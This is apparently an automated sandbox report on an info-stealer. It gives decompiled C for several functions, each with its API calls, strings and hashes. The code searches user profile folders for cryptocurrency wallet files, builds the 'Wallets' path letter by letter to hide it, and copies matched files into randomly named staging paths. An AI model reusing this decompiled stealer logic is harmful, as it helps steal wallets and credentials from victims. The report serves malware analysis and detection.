					wsprintfA( &_v1072, "%s\\%s\\*",  &_v544, _v2396);
					_t158 = _t157 + 0x10;
				}
				_t75 = FindFirstFileA( &_v1072,  &_v2392); // executed
				_v2404 = _t75;
				if(_t75 == 0xffffffff) {
					L22:
					return E00429B16(_t75, _t113, _v12 ^ _t154, _t139, _t152, _t153);
				} else {
					do {
						_push(".");
						_push( &(_v2392.cFileName));
						if( *0x453510() != 0) {
							_push("..");
							_push( &(_v2392.cFileName));
							if( *0x453510() != 0) {
								if(_t153 == 0) {
									wsprintfA( &_v808, "%s\\%s\\%s",  &_v544, _v2396,  &(_v2392.cFileName));
									_t158 = _t158 + 0x14;
								} else {
									wsprintfA( &_v808, "%s\\%s\\%s\\%s",  &_v544, _v2396,  &(_v2392.cFileName), _v2400);
									_t158 = _t158 + 0x18;
								}
								_t85 = GetFileAttributesA( &_v808);
								if(_t85 != 0xffffffff && (_t85 & 0x00000010) == 0) {
									L00429B30( &_v280, 0, 0x104);
									_t158 = _t158 + 0xc;
									lstrcatA( &_v280, "\\");
									lstrcatA( &_v280, "W");
									lstrcatA( &_v280, "a");
									lstrcatA( &_v280, "l");
									lstrcatA( &_v280, "l");
									lstrcatA( &_v280, "e");
									lstrcatA( &_v280, "t");
									lstrcatA( &_v280, "s");
									lstrcatA( &_v280, "\\");
									lstrcatA( &_v280, _t152);
									lstrcatA( &_v280, "\\");
									if(_t153 == 0) {
										lstrcatA( &_v280,  &(_v2392.cFileName));
									} else {
										lstrcatA( &_v280,  &(_v2392.cFileName));
										lstrcatA( &_v280, "\\");
										lstrcatA( &_v280, _v2400);
									}
									if(_t113 != 0) {
										if( *_t113 == 2) {
											 *0x4537d4 = E00428410( *((intOrPtr*)(_t113 + 4)),  &_v808,  &_v280, 0, 2);
										} else {
											 *0x4537d4 = 0x80000;
										}
									} else {
										 *0x4537d4 = 0x10000;
									}
								}
							}
						}
						_t139 = _v2404;
					} while (FindNextFileA(_v2404,  &_v2392) != 0);
					_t75 = FindClose(_v2404);
					goto L22;
				}
			}

0x00411740
0x00411740
0x00411740
0x00411749
0x00411750
0x00411764
0x0041176a
0x00411770
0x00411786
0x0041178b
0x004117bb
0x004117c3
0x004117ff
0x0041180b
0x00411811
0x004117c5
0x004117c5
0x004117df
0x004117e5
0x004117e5
0x00411822
0x00411828
0x00411831
0x00411a81
0x00411a8e
0x00411837
0x00411840
0x00411840
0x0041184b
0x00411854
0x0041185a
0x00411865
0x0041186e
0x00411876
0x004118cc
0x004118d2
0x00411878
0x004118a0
0x004118a6
0x004118a6
0x004118dc
0x004118e5
0x00411901
0x00411906
0x00411915
0x00411927
0x00411939
0x0041194b
0x0041195d
0x0041196f
0x00411981
0x00411993
0x004119a5
0x004119b3
0x004119c5
0x004119cd
0x00411a13
0x004119cf
0x004119dd
0x004119ef
0x00411a13
0x00411a13
0x00411a1b
0x00411a2c
0x00411a53
0x00411a2e
0x00411a2e
0x00411a2e
0x00411a1d
0x00411a1d
0x00411a1d
0x00411a1b
0x004118e5
0x0041186e
0x00411a58
0x00411a6c
0x00411a7b
0x00000000
0x00411a7b

APIs

_memset.LIBCMT ref: 00411770
_memset.LIBCMT ref: 00411786
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041179D
lstrcatA.KERNEL32(?,?), ref: 004117BB
wsprintfA.USER32 ref: 004117DF
wsprintfA.USER32 ref: 0041180B
FindFirstFileA.KERNEL32(?,?), ref: 00411822
StrCmpCA.SHLWAPI(?,0044A810), ref: 0041184C
StrCmpCA.SHLWAPI(?,0044A814), ref: 00411866
wsprintfA.USER32 ref: 004118A0
GetFileAttributesA.KERNEL32(?), ref: 004118DC
_memset.LIBCMT ref: 00411901
lstrcatA.KERNEL32(?,004485EC), ref: 00411915
lstrcatA.KERNEL32(?,0044AA74), ref: 00411927
lstrcatA.KERNEL32(?,0044AA78), ref: 00411939
lstrcatA.KERNEL32(?,0044AA7C), ref: 0041194B
lstrcatA.KERNEL32(?,0044AA7C), ref: 0041195D
lstrcatA.KERNEL32(?,0044AA80), ref: 0041196F
lstrcatA.KERNEL32(?,0044AA84), ref: 00411981
lstrcatA.KERNEL32(?,0044AA88), ref: 00411993
lstrcatA.KERNEL32(?,004485EC), ref: 004119A5

Strings

%s\%s\*, xrefs: 004117D9
%s\%s\%s\%s, xrefs: 0041189A
%s\%s\%s, xrefs: 00411805, 004118C6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$File$AttributesFindFirstFolderPath
String ID: %s\%s\%s$%s\%s\%s\%s$%s\%s\*
API String ID: 664695751-1660153875
Opcode ID: e60d423051989d8f73e75c7346711e00b5bd0afc62d6d120120c53218f6bd560
Instruction ID: 313114aa5dce48768bbf2fd3e47ada5d42aa5aa4ec21d12805b600e2ed110328
Opcode Fuzzy Hash: e60d423051989d8f73e75c7346711e00b5bd0afc62d6d120120c53218f6bd560
Instruction Fuzzy Hash: E081D471941318ABDB25DF60DD45FEA7778BF08B42F00459AF206A2051DB78DB84CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00418910 Relevance: 47.4, APIs: 23, Strings: 4, Instructions: 198
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00418910(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, char* _a12, CHAR* _a16) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v2068;
				struct _WIN32_FIND_DATAA _v2388;
				char* _v2392;
				void* _v2396;
				intOrPtr _v2400;
				intOrPtr _v2404;
				intOrPtr _v2408;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				int _t61;
				int _t72;
				CHAR* _t83;
				signed int _t88;
				intOrPtr* _t94;
				CHAR* _t100;
				intOrPtr _t132;
				void* _t133;
				intOrPtr _t134;
				CHAR* _t135;
				signed int _t136;
				void* _t137;
				void* _t138;
				void* _t139;
				void* _t143;

				_t56 =  *0x450664; // 0x30e242aa
				_v8 = _t56 ^ _t136;
				_t100 = _a16;
				_t134 = _a8;
				_t132 = _a4;
				_v2400 = __ecx;
				_v2404 = _t132;
				_v2408 = _t134;
				_v2392 = _a12;
				wsprintfA( &_v1068, "%s\\*", _t134);
				_t138 = _t137 + 0xc;
				_t119 =  &_v2388;
				_t61 = FindFirstFileA( &_v1068,  &_v2388); // executed
				_v2396 = _t61;
				if(_t61 == 0xffffffff) {
					L18:
					return E00429B16(_t61, _t100, _v8 ^ _t136, _t119, _t132, _t134);
				} else {
					goto L1;
				}
				do {
					L1:
					_push(".");
					_push( &(_v2388.cFileName));
					if( *0x453510() == 0) {
						goto L16;
					}
					_push("..");
					_push( &(_v2388.cFileName));
					if( *0x453510() == 0) {
						goto L16;
					}
					wsprintfA( &_v804, "%s\\%s", _t134,  &(_v2388.cFileName));
					_t139 = _t138 + 0x10;
					_push(0x4485e7);
					_push(_t132);
					if( *0x453510() != 0) {
						wsprintfA( &_v540, "%s\\%s", _t132,  &(_v2388.cFileName));
						_t138 = _t139 + 0x10;
					} else {
						wsprintfA( &_v540, "%s",  &(_v2388.cFileName));
						_t138 = _t139 + 0xc;
					}
					_t72 = PathMatchSpecA( &(_v2388.cFileName), _v2392);
					_t148 = _t72;
					if(_t72 == 0) {
						L15:
						E00418910(_v2400,  &_v540,  &_v804, _v2392, _t100);
					} else {
						L00429B30( &_v2068, 0, 0x3e8);
						lstrcatA( &_v2068, "\\Soft\\");
						lstrcatA( &_v2068, _t100);
						lstrcatA( &_v2068, "\\");
						lstrcatA( &_v2068,  &_v540);
						L00429B30( &_v276, 0, 0x104);
						_t83 =  *0x453058; // 0x50987d8
						lstrcatA( &_v276, _t83);
						_t135 = E0042A0BB( &_v276, _t132, _t134, 0x1a);
						 *_t135 = 0;
						L0042D41F(GetTickCount());
						_t143 = _t138 + 0x20;
						_t133 = 0x1a;
						do {
							_t88 = L0042D431(_t148);
							asm("cdq");
							_push(_t88 % 0xa);
							_push(_t135);
							wsprintfA(_t135, "%s%d");
							_t143 = _t143 + 0x10;
							_t133 = _t133 - 1;
						} while (_t133 != 0);
						_t135[0x1a] = 0;
						lstrcatA( &_v276, _t135);
						 *0x453388( &_v804,  &_v276, 1);
						_t94 =  *((intOrPtr*)(_v2400 + 0x20));
						if(_t94 != 0) {
							__eflags =  *_t94 - 2;
							if( *_t94 == 2) {
								 *0x4537d4 = E00428410( *((intOrPtr*)(_t94 + 4)),  &_v276,  &_v2068, 0, 2);
							} else {
								 *0x4537d4 = 0x80000;
							}
						} else {
							 *0x4537d4 = 0x10000;
						}
						 *0x4533e4( &_v276);
						_t134 = _v2408;
						_t132 = _v2404;
						goto L15;
					}
					L16:
				} while (FindNextFileA(_v2396,  &_v2388) != 0);
				_t119 = _v2396;
				_t61 = FindClose(_v2396);
				goto L18;
			}

0x00418919
0x00418920
0x00418927
0x0041892b
0x0041892f
0x00418933
0x00418945
0x0041894b
0x00418951
0x00418957
0x0041895d
0x00418960
0x0041896e
0x00418974
0x0041897d
0x00418bd9
0x00418be9
0x00000000
0x00000000
0x00000000
0x00418983
0x00418983
0x00418983
0x0041898e
0x00418997
0x00000000
0x00000000
0x0041899d
0x004189a8
0x004189b1
0x00000000
0x00000000
0x004189cb
0x004189d1
0x004189d4
0x004189d9
0x004189e2
0x00418a16
0x00418a1c
0x004189e4
0x004189f7
0x004189fd
0x004189fd
0x00418a2d
0x00418a33
0x00418a35
0x00418b8f
0x00418bab
0x00418a3b
0x00418a49
0x00418a5d
0x00418a6b
0x00418a7d
0x00418a91
0x00418aa5
0x00418aaa
0x00418aba
0x00418ac7
0x00418acc
0x00418ad6
0x00418adb
0x00418ade
0x00418ae3
0x00418ae3
0x00418ae8
0x00418af0
0x00418af1
0x00418af8
0x00418afe
0x00418b01
0x00418b01
0x00418b0c
0x00418b10
0x00418b26
0x00418b32
0x00418b37
0x00418b45
0x00418b48
0x00418b71
0x00418b4a
0x00418b4a
0x00418b4a
0x00418b39
0x00418b39
0x00418b39
0x00418b7d
0x00418b83
0x00418b89
0x00000000
0x00418b89
0x00418bb0
0x00418bc4
0x00418bcc
0x00418bd3
0x00000000

APIs

wsprintfA.USER32 ref: 00418957
FindFirstFileA.KERNEL32(?,?), ref: 0041896E
StrCmpCA.SHLWAPI(?,0044A810), ref: 0041898F
StrCmpCA.SHLWAPI(?,0044A814), ref: 004189A9
wsprintfA.USER32 ref: 004189CB
StrCmpCA.SHLWAPI(?,004485E7), ref: 004189DA
wsprintfA.USER32 ref: 004189F7
wsprintfA.USER32 ref: 00418A16
PathMatchSpecA.SHLWAPI(?,?), ref: 00418A2D
_memset.LIBCMT ref: 00418A49
lstrcatA.KERNEL32(?,\Soft\), ref: 00418A5D
lstrcatA.KERNEL32(?,0041C02C), ref: 00418A6B
lstrcatA.KERNEL32(?,004485EC), ref: 00418A7D
lstrcatA.KERNEL32(?,?), ref: 00418A91
_memset.LIBCMT ref: 00418AA5
lstrcatA.KERNEL32(?,050987D8), ref: 00418ABA
_malloc.LIBCMT ref: 00418AC2
GetTickCount.KERNEL32 ref: 00418ACF
_rand.LIBCMT ref: 00418AE3
wsprintfA.USER32 ref: 00418AF8
lstrcatA.KERNEL32(?,00000000), ref: 00418B10
FindNextFileA.KERNEL32(?,?), ref: 00418BBE
FindClose.KERNEL32(?), ref: 00418BD3

Strings

%s\*, xrefs: 0041893F
%s\%s, xrefs: 004189C5, 00418A10
\Soft\, xrefs: 00418A51
%s%d, xrefs: 00418AF2

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File_memset$CloseCountFirstMatchNextPathSpecTick_malloc_rand
String ID: %s%d$%s\%s$%s\*$\Soft\
API String ID: 1535823792-1080583690
Opcode ID: d84eaeb9bd73c02d30745d30a97af3e3cf182a1e52517114a7782ad7e8c98af4
Instruction ID: c71febb7fc0bd2124e3141131b0157369e3ba8ff7a62abc07b870b23effc05f4
Opcode Fuzzy Hash: d84eaeb9bd73c02d30745d30a97af3e3cf182a1e52517114a7782ad7e8c98af4
Instruction Fuzzy Hash: F27161B1A01318ABD721DF60DC45FEA7378BF48742F04459EB505A7142EA74EB84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00411A90 Relevance: 47.4, APIs: 24, Strings: 3, Instructions: 189
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00411A90(CHAR* _a4, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				void* _v2068;
				struct _WIN32_FIND_DATAA _v2388;
				intOrPtr _v2392;
				intOrPtr _v2396;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				int _t63;
				void* _t97;
				intOrPtr* _t126;
				CHAR* _t127;
				signed int _t128;
				void* _t129;
				void* _t131;

				_t53 =  *0x450664; // 0x30e242aa
				_v8 = _t53 ^ _t128;
				_t127 = _a4;
				_t5 =  &_a16; // 0x412e57
				_t126 =  *_t5;
				_v2396 = _a8;
				_v2392 = _a12;
				L00429B30( &_v2068, 0, 0x3e8);
				_t13 = (0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v2068) < 0x00000000) - 1; // -1
				wsprintfA( &_v804, "%s\\%s\\*", _t13 &  &_v2068, _t127);
				_t131 = _t129 + 0x1c;
				_t117 =  &_v804;
				_t63 = FindFirstFileA( &_v804,  &_v2388); // executed
				_t97 = _t63;
				if(_t97 == 0xffffffff) {
					L12:
					return E00429B16(_t63, _t97, _v8 ^ _t128, _t117, _t126, _t127);
				} else {
					goto L1;
				}
				do {
					L1:
					_push(".");
					_push( &(_v2388.cFileName));
					if( *0x453510() != 0) {
						_push("..");
						_push( &(_v2388.cFileName));
						if( *0x453510() != 0) {
							wsprintfA( &_v540, "%s\\%s", _t127,  &(_v2388.cFileName));
							L00429B30( &_v2068, 0, 0x3e8);
							_t26 = (0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v2068) < 0x00000000) - 1; // -1
							wsprintfA( &_v1068, "%s\\%s", _t26 &  &_v2068,  &_v540);
							L00429B30( &_v276, 0, 0x104);
							_t131 = _t131 + 0x38;
							lstrcatA( &_v276, "\\");
							lstrcatA( &_v276, "W");
							lstrcatA( &_v276, "a");
							lstrcatA( &_v276, "l");
							lstrcatA( &_v276, "l");
							lstrcatA( &_v276, "e");
							lstrcatA( &_v276, "t");
							lstrcatA( &_v276, "s");
							lstrcatA( &_v276, _t127);
							lstrcatA( &_v276, "\\");
							_t117 =  &(_v2388.cFileName);
							lstrcatA( &_v276,  &(_v2388.cFileName));
							if(_t126 != 0) {
								if( *_t126 == 2) {
									_t117 =  &_v1068;
									 *0x4537d4 = E00428410( *((intOrPtr*)(_t126 + 4)),  &_v1068,  &_v276, 0, 2);
								} else {
									 *0x4537d4 = 0x80000;
								}
							} else {
								 *0x4537d4 = 0x10000;
							}
							if((_v2388.dwFileAttributes & 0x00000010) != 0) {
								_t117 =  &_v540;
								E00411A90( &_v540, _v2396, _v2392, _t126);
								_t131 = _t131 + 0x10;
							}
						}
					}
				} while (FindNextFileA(_t97,  &_v2388) != 0);
				_t63 = FindClose(_t97);
				goto L12;
			}

0x00411a99
0x00411aa0
0x00411aab
0x00411aaf
0x00411aaf
0x00411ac0
0x00411ac6
0x00411acc
0x00411af7
0x00411b09
0x00411b0f
0x00411b19
0x00411b20
0x00411b26
0x00411b2b
0x00411d33
0x00411d43
0x00000000
0x00000000
0x00000000
0x00411b31
0x00411b31
0x00411b31
0x00411b3c
0x00411b45
0x00411b4b
0x00411b56
0x00411b5f
0x00411b79
0x00411b8d
0x00411bb7
0x00411bd0
0x00411be4
0x00411be9
0x00411bf8
0x00411c0a
0x00411c1c
0x00411c2e
0x00411c40
0x00411c52
0x00411c64
0x00411c76
0x00411c84
0x00411c96
0x00411c9c
0x00411caa
0x00411cb2
0x00411cc3
0x00411cdf
0x00411cea
0x00411cc5
0x00411cc5
0x00411cc5
0x00411cb4
0x00411cb4
0x00411cb4
0x00411cf6
0x00411d07
0x00411d0e
0x00411d13
0x00411d13
0x00411cf6
0x00411b5f
0x00411d24
0x00411d2d
0x00000000

APIs

_memset.LIBCMT ref: 00411ACC
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000,?), ref: 00411AE3
wsprintfA.USER32 ref: 00411B09
FindFirstFileA.KERNEL32(?,?), ref: 00411B20
StrCmpCA.SHLWAPI(?,0044A810), ref: 00411B3D
StrCmpCA.SHLWAPI(?,0044A814), ref: 00411B57
wsprintfA.USER32 ref: 00411B79
_memset.LIBCMT ref: 00411B8D
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00411BA4
wsprintfA.USER32 ref: 00411BD0
_memset.LIBCMT ref: 00411BE4
lstrcatA.KERNEL32(?,004485EC), ref: 00411BF8
lstrcatA.KERNEL32(?,0044AA74), ref: 00411C0A
lstrcatA.KERNEL32(?,0044AA78), ref: 00411C1C
lstrcatA.KERNEL32(?,0044AA7C), ref: 00411C2E
lstrcatA.KERNEL32(?,0044AA7C), ref: 00411C40
lstrcatA.KERNEL32(?,0044AA80), ref: 00411C52
lstrcatA.KERNEL32(?,0044AA84), ref: 00411C64
lstrcatA.KERNEL32(?,0044AA88), ref: 00411C76
lstrcatA.KERNEL32(?,?), ref: 00411C84
lstrcatA.KERNEL32(?,004485EC), ref: 00411C96
lstrcatA.KERNEL32(?,?), ref: 00411CAA
FindNextFileA.KERNEL32(00000000,?), ref: 00411D1E
FindClose.KERNEL32(00000000), ref: 00411D2D

Strings

%s\%s\*, xrefs: 00411B03
W.A, xrefs: 00411AAF, 00411D04
%s\%s, xrefs: 00411B73, 00411BCA

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Find_memsetwsprintf$FileFolderPath$CloseFirstNext
String ID: %s\%s$%s\%s\*$W.A
API String ID: 2665448725-3580431673
Opcode ID: 04f6f3ed095659e46db21b87ae73fd5392e50ade5b3e8e16c778507eaa96ddef
Instruction ID: ca51b6cbf80cb3f4e480226fd1d3c9b72d4958c23c91ca5b572b600580d6321b
Opcode Fuzzy Hash: 04f6f3ed095659e46db21b87ae73fd5392e50ade5b3e8e16c778507eaa96ddef
Instruction Fuzzy Hash: AA71C272A40318ABD725DF60DC46FFA7378BB48742F04489DB215A6091EBB4EB84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00416F40 Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 289
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00416F40(intOrPtr __ecx, CHAR* _a4, char _a8, CHAR* _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr* _a24, CHAR* _a28, intOrPtr _a32) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				struct _WIN32_FIND_DATAA _v1388;
				intOrPtr _v1392;
				intOrPtr _v1396;
				CHAR* _v1400;
				CHAR* _v1404;
				intOrPtr _v1408;
				intOrPtr* _v1412;
				intOrPtr _v1416;
				void* _v1420;
				intOrPtr _v1424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t100;
				intOrPtr _t103;
				int _t106;
				int _t111;
				intOrPtr _t116;
				intOrPtr _t120;
				signed char _t126;
				void* _t129;
				intOrPtr* _t152;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				intOrPtr _t198;
				intOrPtr _t201;
				CHAR* _t220;
				intOrPtr _t221;
				signed int _t224;
				void* _t225;
				void* _t226;
				void* _t229;

				_t100 =  *0x450664; // 0x30e242aa
				_v8 = _t100 ^ _t224;
				_t152 = _a24;
				_t221 = _a16;
				_t220 = _a12;
				_v1404 = _a4;
				_t8 =  &_a8; // 0x6f72505c
				_t103 =  *_t8;
				_v1416 = _t103;
				_v1396 = __ecx;
				_v1408 = _t221;
				_v1392 = _a20;
				_v1412 = _t152;
				_v1400 = _a28;
				wsprintfA( &_v1068, "%s\\*", _t103);
				_t226 = _t225 + 0xc;
				_t191 =  &_v1068;
				_t106 = FindFirstFileA( &_v1068,  &_v1388); // executed
				_v1420 = _t106;
				_v1424 = 0;
				if(_t106 == 0xffffffff) {
					L27:
					return E00429B16(_t106, _t152, _v8 ^ _t224, _t191, _t220, _t221);
				} else {
					do {
						_push(".");
						_push( &(_v1388.cFileName));
						if( *0x453510() == 0) {
							goto L25;
						}
						_push("..");
						_push( &(_v1388.cFileName));
						if( *0x453510() == 0) {
							goto L25;
						}
						wsprintfA( &_v276, "%s\\%s", _v1416,  &(_v1388.cFileName));
						L00429B30( &_v540, 0, 0x104);
						_t116 =  *0x452a4c; // 0x5098460
						_t163 =  *0x4530d0; // 0x509d250
						wsprintfA( &_v540, "%s\\%s\\%s\\%s", _v1416,  &(_v1388.cFileName), _t163, _t116);
						L00429B30( &_v804, 0, 0x104);
						_t120 =  *0x452a4c; // 0x5098460
						_t165 =  *0x4530d0; // 0x509d250
						wsprintfA( &_v804, "%s\\%s\\%s", _v1416, _t165, _t120);
						_t166 =  *0x452ce8; // 0x5098a30
						_t229 = _t226 + 0x54;
						_push(_t166);
						_push( &(_v1388.cFileName));
						if( *0x453510() != 0) {
							_t198 =  *0x452a4c; // 0x5098460
							_push(_t198);
							_push( &(_v1388.cFileName));
							if( *0x453510() != 0) {
								_t126 = GetFileAttributesA( &_v540); // executed
								if(_t126 == 0xffffffff || (_t126 & 0x00000010) != 0) {
									_t167 =  *0x452d8c; // 0x509d180
									_push(_t167);
									_push( &(_v1388.cFileName));
									if( *0x453510() != 0) {
										_t201 =  *0x452ae4; // 0x5098a48
										_t129 =  *0x453510( &(_v1388.cFileName), _t201);
										if(_t129 != 0) {
											if((_v1388.dwFileAttributes & 0x00000010) == 0) {
												goto L24;
											}
											goto L22;
										}
										if( *((intOrPtr*)(_v1396 + 1)) != _t129) {
											E004157E0(_t220, _t221,  &_v276, _v1404, _v1392, _t152); // executed
											E00415BD0( &_v276, _t220, _t152, _v1404); // executed
											_t221 = _v1408;
											_t152 = _v1412;
										}
										L11:
										_push(_a32);
										_push(_v1400);
										_push(_t152);
										_push(_v1392);
										_push(_t221);
										_push(_t220);
										_push( &_v276);
										_push( &(_v1388.cFileName));
										goto L23;
									}
									if( *((char*)(_v1396 + 2)) != 0) {
										E00415E60( &_v276, _t220, _t152, _v1404); // executed
										E004160C0( &_v276, _t220, _v1412, _v1404); // executed
										_t152 = _v1412;
										_t221 = _v1408;
									}
									goto L11;
								} else {
									E00415240(_t221, _v1392,  &_v540,  &(_v1388.cFileName), _t220, _t152); // executed
									L22:
									_push(_a32);
									_push(_v1400);
									_push(_t152);
									_push(_v1392);
									_push(_t221);
									_push(_t220);
									_push( &_v276);
									_push( &(_v1388.cFileName));
									L23:
									E00416F40(_v1396); // executed
									L24:
									L00429B30( &_v540, 0, 0x104);
									L00429B30( &_v804, 0, 0x104);
									_t226 = _t229 + 0x18;
									goto L25;
								}
							}
							E00415240(_t221, _v1392,  &_v276, _v1404, _t220, _t152);
							goto L11;
						}
						E00414E40( &_v276, _t220, _v1400, _v1404, _t221, _v1392); // executed
						_t223 = _a32;
						if(_a32 != 0 && _v1424 == 0) {
							E00415240(_v1408, _v1392,  &_v804, 0x4485e7, _t220, _t152);
							_v1424 = 1;
						}
						E00416F40(_v1396,  &(_v1388.cFileName),  &_v276, _t220, _v1408, _v1392, _t152, _v1400, _t223); // executed
						_t221 = _v1408;
						goto L24;
						L25:
						_t111 = FindNextFileA(_v1420,  &_v1388); // executed
					} while (_t111 != 0);
					_t191 = _v1420;
					_t106 = FindClose(_v1420);
					goto L27;
				}
			}

0x00416f49
0x00416f50
0x00416f5a
0x00416f5e
0x00416f62
0x00416f65
0x00416f6b
0x00416f6b
0x00416f6f
0x00416f75
0x00416f8a
0x00416f90
0x00416f96
0x00416f9c
0x00416fa2
0x00416fa8
0x00416fb2
0x00416fb9
0x00416fbf
0x00416fc5
0x00416fd2
0x0041735a
0x0041736a
0x00416fd8
0x00416fe0
0x00416fe0
0x00416feb
0x00416ff4
0x00000000
0x00000000
0x00416ffa
0x00417005
0x0041700e
0x00000000
0x00000000
0x0041702e
0x00417042
0x00417047
0x0041704c
0x00417071
0x00417085
0x0041708a
0x0041708f
0x004170ad
0x004170b3
0x004170b9
0x004170bc
0x004170c3
0x004170cc
0x00417169
0x0041716f
0x00417176
0x0041717f
0x004171cd
0x004171d6
0x004171fe
0x00417204
0x0041720b
0x00417214
0x00417261
0x0041726f
0x00417277
0x004172d5
0x00000000
0x00000000
0x00000000
0x004172d5
0x00417282
0x004172a2
0x004172b8
0x004172bd
0x004172c3
0x004172c3
0x0041719e
0x004171ad
0x004171ae
0x004171af
0x004171b0
0x004171b1
0x004171b2
0x004171b9
0x004171c0
0x00000000
0x004171c0
0x00417220
0x00417237
0x0041724b
0x00417250
0x00417256
0x00417256
0x00000000
0x004171dc
0x004171f4
0x004172d7
0x004172e6
0x004172e7
0x004172e8
0x004172e9
0x004172ea
0x004172eb
0x004172f2
0x004172f9
0x004172fa
0x00417300
0x00417305
0x00417313
0x00417329
0x0041732e
0x00000000
0x0041732e
0x004171d6
0x00417199
0x00000000
0x00417199
0x004170ef
0x004170f4
0x004170f9
0x0041711e
0x00417123
0x00417123
0x00417159
0x0041715e
0x00000000
0x00417331
0x0041733f
0x00417345
0x0041734d
0x00417354
0x00000000
0x00417354

APIs

wsprintfA.USER32 ref: 00416FA2
FindFirstFileA.KERNEL32(?,?), ref: 00416FB9
StrCmpCA.SHLWAPI(?,0044A810), ref: 00416FEC
StrCmpCA.SHLWAPI(?,0044A814), ref: 00417006
wsprintfA.USER32 ref: 0041702E
_memset.LIBCMT ref: 00417042
wsprintfA.USER32 ref: 00417071
_memset.LIBCMT ref: 00417085
wsprintfA.USER32 ref: 004170AD
StrCmpCA.SHLWAPI(?,05098A30), ref: 004170C4
StrCmpCA.SHLWAPI(?,05098460), ref: 00417177
GetFileAttributesA.KERNEL32(?), ref: 004171CD

Part of subcall function 00415240: StrCmpCA.SHLWAPI(?,05098420,30E242AA,?,?,?), ref: 0041529A
Part of subcall function 00415240: _memset.LIBCMT ref: 004152E7
Part of subcall function 00415240: lstrcatA.KERNEL32(?,050987D8), ref: 004152FD
Part of subcall function 00415240: _malloc.LIBCMT ref: 00415305
Part of subcall function 00415240: GetTickCount.KERNEL32 ref: 00415312
Part of subcall function 00415240: _rand.LIBCMT ref: 00415330
Part of subcall function 00415240: wsprintfA.USER32 ref: 00415345
Part of subcall function 00415240: lstrcatA.KERNEL32(?,00000000), ref: 00415362
Part of subcall function 00415240: CopyFileA.KERNEL32(?,?,00000001), ref: 00415378
Part of subcall function 00415240: _memset.LIBCMT ref: 0041538C
Part of subcall function 00415240: lstrcatA.KERNEL32(?,004485EC), ref: 004153A0
Part of subcall function 00415240: lstrcatA.KERNEL32(?,05098440), ref: 004153B4
Part of subcall function 00415240: lstrcatA.KERNEL32(?,004485EC), ref: 004153C6
Part of subcall function 00415240: lstrcatA.KERNEL32(?,?), ref: 004153D4

StrCmpCA.SHLWAPI(?,0509D180), ref: 0041720C
StrCmpCA.SHLWAPI(?,05098A48), ref: 0041726F
_memset.LIBCMT ref: 00417313
_memset.LIBCMT ref: 00417329

Part of subcall function 00414E40: _memset.LIBCMT ref: 00414E99
Part of subcall function 00414E40: lstrcatA.KERNEL32(?,050987D8,30E242AA,?,?), ref: 00414EAF
Part of subcall function 00414E40: _malloc.LIBCMT ref: 00414EB7
Part of subcall function 00414E40: GetTickCount.KERNEL32 ref: 00414EC4
Part of subcall function 00414E40: _rand.LIBCMT ref: 00414ED8
Part of subcall function 00414E40: wsprintfA.USER32 ref: 00414EED
Part of subcall function 00414E40: lstrcatA.KERNEL32(?,00000000), ref: 00414F05
Part of subcall function 00414E40: CopyFileA.KERNEL32(?,?,00000001), ref: 00414F1B

FindNextFileA.KERNELBASE(?,?), ref: 0041733F
FindClose.KERNEL32(?), ref: 00417354

Strings

%s\*, xrefs: 00416F84
